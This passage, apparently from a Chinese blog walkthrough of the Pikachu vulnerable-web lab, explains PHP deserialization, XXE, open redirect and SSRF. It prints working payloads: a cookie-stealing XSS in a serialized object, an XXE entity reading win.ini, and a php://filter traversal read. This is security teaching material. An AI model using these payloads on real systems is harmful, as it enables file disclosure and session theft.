---输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息;
---前端的源码(html,css,js)里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等;

类似以上这些情况,我们成为敏感信息泄露。敏感信息泄露虽然一直被评为危害比较低的漏洞,但这些敏感信息往往给攻击着实施进一步的攻击提供很大的帮助,甚至“离谱”的敏感信息泄露也会直接造成严重的损失。 因此,在web应用的开发上,除了要进行安全的代码编写,也需要注意对敏感信息的合理处理。

你可以通过“i can see your abc”对应的测试栏目,来进一步的了解该漏洞。

1.icanseeyourABC

 我们在登录界面直接查看源代码

发现测试账号,并且可以直接登录

并且我们不登录,直接访问abc.php文件也是可以访问的

十二.php反序列化

在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数。

序列化serialize()
序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:

    class S{
        public $test="pikachu";
    }
    $s=new S(); //创建一个对象
    serialize($s); //把这个对象进行序列化
    序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
        O:代表object
        1:代表对象名字长度为一个字符
        S:对象的名称
        1:代表对象里面有一个变量
        s:数据类型
        4:变量名称的长度
        test:变量名称
        s:数据类型
        7:变量值的长度
        pikachu:变量值
    

反序列化unserialize()

就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

    $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
    echo $u->test; //得到的结果为pikachu
    

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

        常见的几个魔法函数:
        __construct()当一个对象创建时被调用

        __destruct()当一个对象销毁时被调用

        __toString()当一个对象被当作一个字符串使用

        __sleep() 在对象在被序列化之前运行

        __wakeup将在序列化之后立即被调用

        漏洞举例:

        class S{
            var $test = "pikachu";
            function __destruct(){
                echo $this->test;
            }
        }
        $s = $_GET['test'];
        @$unser = unserialize($a);

        payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

1.php反序列化

在概述里作者给我了我们一个payload,我们提交试一下

 我们也可以利用在线php运行工具字节写一个payload,这里需要根据源代码生成一个反序列化字符串

PHP 在线工具 | 菜鸟工具

<?php
class S{
	var $test="<script>alert(document.cookie)</script>";
}

$a=new S();
echo serialize($a)
?>

成功弹出cookie

十三.XXE 

XXE -"xml external entity injection"
既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

具体的关于xml实体的介绍,网络上有很多,自己动手先查一下。
现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。

本章提供的案例中,为了模拟漏洞,通过手动指定LIBXML_NOENT选项开启了xml外部实体解析。 

 1.XXE漏洞

我们先随便提交个数据并进行抓包

在数据包里我构造了半天xml也构造不出来,还是直接提交我们的payload吧

<?xml version="1.0"?>
<!DOCTYPE ANY [
     <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>
<a>&xxe;</a>

直接在输入框中提交

 

 成功读取我们的win.ini文件

十四.URL重定向

不安全的url跳转


不安全的url跳转问题可能发生在一切执行了url地址跳转的地方。
如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地,而又没有做判断的话
就可能发生"跳错对象"的问题。

url跳转比较直接的危害是:
-->钓鱼,既攻击者使用漏洞方的域名(比如一个比较出名的公司域名往往会让用户放心的点击)做掩盖,而最终跳转的确实钓鱼网站

这个漏洞比较简单,come on,来测一把!

 1.不安全的URL跳转

这几个超链接我们都点一点,当点到“我就是我,放荡不羁的我”时,发现url地址栏中出现了url参数

我们构造payload访问百度

?url=http://www.baidu.com

 

成功跳转到百度

十五.SSRF

SSRF(Server-Side Request Forgery:服务器端请求伪造)

其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制

导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据

数据流:攻击者----->服务器---->目标地址

根据后台使用的函数的不同,对应的影响和利用方法又有不一样
PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()
            


如果一定要通过后台服务器远程去对用户指定("或者预埋在前端的请求")的地址进行资源请求,则请做好目标地址的过滤

你可以根据"SSRF"里面的项目来搞懂问题的原因 

1.SSRF(curl)

这里的php版本要在7以上,不然会出现这个错误

来到题目,我们发现是通过url参数进行传递请求的

我们可以让他访问我们服务器上的木马文件(这里我就用本地演示了)

注意,红框中的地址正常应该是自己服务器的地址,这里我为了方便就拿本地机器做实验了 ,这里成功执行了我写的phpinfo文件

这里也可以利用其他协议进行操作,如file读取本地文件,就不具体演示了

2.SSRF(file_get_content)

 这里的利用方式与上一关相同,不同一点是这里可以使用php的伪协议了

比如,可以使用php://filter读取文件

?file=PHP://filter/read=convert.base64-encode/resource=c:../../../windows/win.ini

然后拿去base64解码便可以获得数据

Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐